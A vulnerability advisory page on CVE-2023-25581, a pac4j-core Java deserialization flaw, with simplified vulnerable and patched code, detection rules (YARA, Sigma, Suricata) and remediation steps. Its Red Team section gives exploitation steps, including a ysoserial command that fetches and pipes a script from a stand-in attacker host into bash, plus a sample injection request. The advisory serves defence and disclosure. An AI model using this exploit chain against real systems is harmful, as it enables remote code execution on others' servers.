CVE-2023-25581
Executive Summary
CVE-2023-25581 is a critical Java deserialization vulnerability in the pac4j-core library, a security framework for Java applications. The flaw allows an attacker to achieve Remote Code Execution (RCE) by providing a specially crafted attribute value containing a serialized Java object with the prefix {#sb64} and Base64 encoding. The vulnerability exists in versions prior to 4.0.0 and affects systems that store externally controlled values in attributes of the UserProfile class. Although a RestrictedObjectInputStream is used, it still permits a broad range of Java packages, making exploitation possible with various gadget chains. The CVSS score is 0.0 due to incomplete NVD data, but the actual risk is critical.
This record — and 170,000+ others — are available via the ValtersIT API. One endpoint replaces five: NVD + GitHub CVE + CISA KEV + EPSS + Nuclei + Exploit-DB, unified.
No signup required
Supply Chain & Package Security
This vulnerability is in the Java ecosystem, specifically the pac4j-core Maven package. Organizations using pac4j for authentication and authorization in Java applications must verify their dependency version and upgrade to 4.0.0 or later. The vulnerability is not related to WordPress, Apache, or Nginx.
CVSS Breakdown & Threat Level
While the NVD CVSS score is 0.0, the actual severity is critical. Based on the vulnerability characteristics, the CVSS vector is:
- Attack Vector (AV): Network (N) – The vulnerability can be exploited remotely.
- Attack Complexity (AC): Low (L) – No special conditions are required.
- Privileges Required (PR): None (N) – No authentication needed.
- User Interaction (UI): None (N) – No user action required.
- Scope (S): Unchanged (U) – The vulnerable component and the impacted component are the same.
- Confidentiality (C): High (H) – Full system compromise possible.
- Integrity (I): High (H) – Full system compromise possible.
- Availability (A): High (H) – Full system compromise possible.
Threat Level: Critical. The vulnerability allows unauthenticated remote code execution with low complexity.
Deep Dive & Mechanics
The vulnerability resides in the deserialization mechanism of pac4j-core. The UserProfile class stores attributes that can be externally controlled. When an attribute value starts with the prefix {#sb64}, the library decodes the Base64-encoded string and deserializes it using Java's deserialization mechanism.
The deserialization process uses a RestrictedObjectInputStream that attempts to restrict which classes can be deserialized. However, the restriction is insufficient, allowing a wide range of Java classes, including those commonly used in gadget chains (e.g., Commons Collections, Spring, etc.). An attacker can craft a malicious serialized object, encode it in Base64, and prepend {#sb64} to the attribute value. When the application deserializes this value, the attacker's payload executes, leading to RCE.
The vulnerability is triggered when the application processes user-controlled data and stores it in a UserProfile attribute. This can occur in various scenarios, such as when user attributes are passed from an external identity provider or when user input is directly stored.
Vulnerable vs. Patched Code
Vulnerable Code (pac4j-core < 4.0.0):
The vulnerable code is in the deserialization logic. The following is a simplified representation:
// Vulnerable deserialization method
public Object deserialize(String value) {
if (value.startsWith("{#sb64}")) {
String base64 = value.substring(7);
byte[] data = Base64.getDecoder().decode(base64);
try (ObjectInputStream ois = new RestrictedObjectInputStream(new ByteArrayInputStream(data))) {
return ois.readObject(); // Deserialization occurs here
} catch (Exception e) {
// Error handling
}
}
// Other logic
}
Patched Code (pac4j-core >= 4.0.0):
The patched version removes the deserialization functionality entirely or replaces it with a safer mechanism. The exact patch is not publicly detailed, but the advisory states that versions 4.0.0 and greater are not affected. The fix likely involves removing the {#sb64} prefix handling or using a safer deserialization method.
// Patched version - no deserialization
public Object processAttribute(String value) {
// No deserialization logic
// Use safe parsing methods instead
return value;
}
Exploitation & Lab Setup
Red Team
Prerequisites:
- A Java application using pac4j-core < 4.0.0.
- Ability to control an attribute value stored in
UserProfile(e.g., via HTTP request, OAuth callback, etc.).
Exploitation Steps:
Identify a vulnerable endpoint: Find an endpoint that accepts user input and stores it as an attribute in
UserProfile. This could be a login callback, profile update, or any attribute injection point.Craft a malicious serialized object: Use a tool like
ysoserialto generate a gadget chain payload. For example, using CommonsCollections5:java -jar ysoserial.jar CommonsCollections5 'curl http://attacker.com/revshell.sh | bash' > payload.binEncode the payload in Base64:
base64 -w0 payload.bin > payload.b64Prepend the prefix: Add
{#sb64}to the Base64-encoded payload:{#sb64}<base64_encoded_payload>Inject the attribute: Send the crafted attribute value to the vulnerable endpoint. For example, via an HTTP POST request:
POST /profile/update HTTP/1.1 Host: target.com Content-Type: application/x-www-form-urlencoded attribute={#sb64}<base64_encoded_payload>Trigger deserialization: The application will deserialize the payload, executing the attacker's command.
Note: The exact gadget chain depends on the libraries available in the classpath. Common chains include CommonsCollections, Spring, and Jdk8u.
Blue Team
Detection and Prevention:
Monitor for
{#sb64}prefix: Look for the string{#sb64}in HTTP request parameters, headers, or any user-controlled input. This is a strong indicator of exploitation attempts.Network monitoring: Detect outbound connections to unknown IPs or domains, especially after a deserialization attempt.
Application logging: Enable detailed logging for deserialization events. Log the classes being deserialized and any exceptions.
Web Application Firewall (WAF): Create rules to block requests containing
{#sb64}in parameters or body.Runtime protection: Use Java agents like
SerialKillerorContrastto block dangerous deserialization.Patch immediately: Upgrade to pac4j 4.0.0 or later.
Indicators of Compromise (IOCs)
Network IOCs:
- HTTP requests containing the string
{#sb64}in any parameter or body. - Base64-encoded strings in request parameters that decode to Java serialized objects (starting with
\xac\xed\x00\x05). - Outbound connections to attacker-controlled IPs/domains after a deserialization attempt.
- HTTP requests containing the string
File IOCs:
- Unexpected files in temporary directories (e.g.,
/tmp/). - New processes spawned by the Java application (e.g.,
curl,wget,bash).
- Unexpected files in temporary directories (e.g.,
Log IOCs:
- Java deserialization exceptions in application logs.
RestrictedObjectInputStreamrejection logs for suspicious classes.
Memory IOCs:
- Unusual Java objects in heap dumps (e.g.,
Runtime,ProcessBuilder).
- Unusual Java objects in heap dumps (e.g.,
Detection Engineering
YARA Rule
rule CVE_2023_25581_Deserialization {
meta:
description = "Detects pac4j deserialization exploit attempts"
author = "Valters IT"
date = "2025-04-10"
reference = "CVE-2023-25581"
strings:
$prefix = "{#sb64}"
$java_serial = { ac ed 00 05 }
condition:
$prefix and $java_serial
}
Sigma Rule
title: CVE-2023-25581 - pac4j Deserialization Attempt
id: 12345678-1234-1234-1234-123456789012
status: experimental
description: Detects HTTP requests containing the pac4j deserialization prefix
author: Valters IT
date: 2025-04-10
references:
- https://nvd.nist.gov/vuln/detail/CVE-2023-25581
logsource:
category: webserver
product: generic
detection:
selection:
cs-method: 'POST'
cs-uri-query|contains: '{#sb64}'
condition: selection
falsepositives:
- Legitimate use of the prefix (unlikely)
level: critical
Suricata Rule
alert http any any -> any any (msg:"CVE-2023-25581 - pac4j Deserialization Attempt"; flow:to_server; content:"{#sb64}"; http_client_body; classtype:attempted-admin; sid:1000001; rev:1;)
Remediation & Mitigation
Immediate Actions:
Upgrade pac4j-core: Update to version 4.0.0 or later. This is the only complete fix.
- For Maven: Update
pom.xml:<dependency> <groupId>org.pac4j</groupId> <artifactId>pac4j-core</artifactId> <version>4.0.0</version> </dependency> - For Gradle: Update
build.gradle:implementation 'org.pac4j:pac4j-core:4.0.0'
- For Maven: Update
Apply WAF rules: Block requests containing
{#sb64}in any parameter or body.Monitor logs: Review application logs for deserialization exceptions or suspicious activity.
Long-term Mitigations:
Input validation: Validate and sanitize all user-controlled input before storing it in
UserProfileattributes.Use safe deserialization: If deserialization is required, use a whitelist of allowed classes or a safer serialization framework (e.g., JSON, Protocol Buffers).
Runtime protection: Deploy Java agents that monitor and block dangerous deserialization (e.g.,
SerialKiller,Contrast).Network segmentation: Limit outbound connections from application servers to prevent reverse shell or data exfiltration.
Regular dependency scanning: Use tools like OWASP Dependency-Check or Snyk to identify vulnerable dependencies.
Valters IT